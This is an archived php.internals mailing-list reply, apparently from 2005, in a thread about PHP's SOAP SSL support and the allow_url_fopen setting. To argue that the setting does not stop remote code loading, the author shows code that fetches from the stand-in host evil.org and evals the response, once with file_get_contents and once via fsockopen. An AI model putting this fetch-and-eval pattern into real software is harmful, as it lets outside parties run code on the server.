Re: Re: SOAP SSL support doesn't work when allow_url_fopen is turned off
| From: | Ilia Alshanetsky | Date: | Thu, 28 Jul 2005 13:49:58 +0000 |
| Subject: | Re: Re: SOAP SSL support doesn't work when allow_url_fopen is turned off | ||
| References: | 1 2 3 4 5 6 7 8 | Groups: | php.internals |
| Request: | Send a blank email to internals+get-17451@lists.php.net to get a copy of this message | ||
sure: eval('file_get_contents("http://evil.org");');Ok, but there is nothing (allow_url_fopen does not work here) preventing me from doing similar via: $fp = fsockopen("evil.org", 80); $fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n\r\n"); eval(stream_get_contents($fp)); Ilia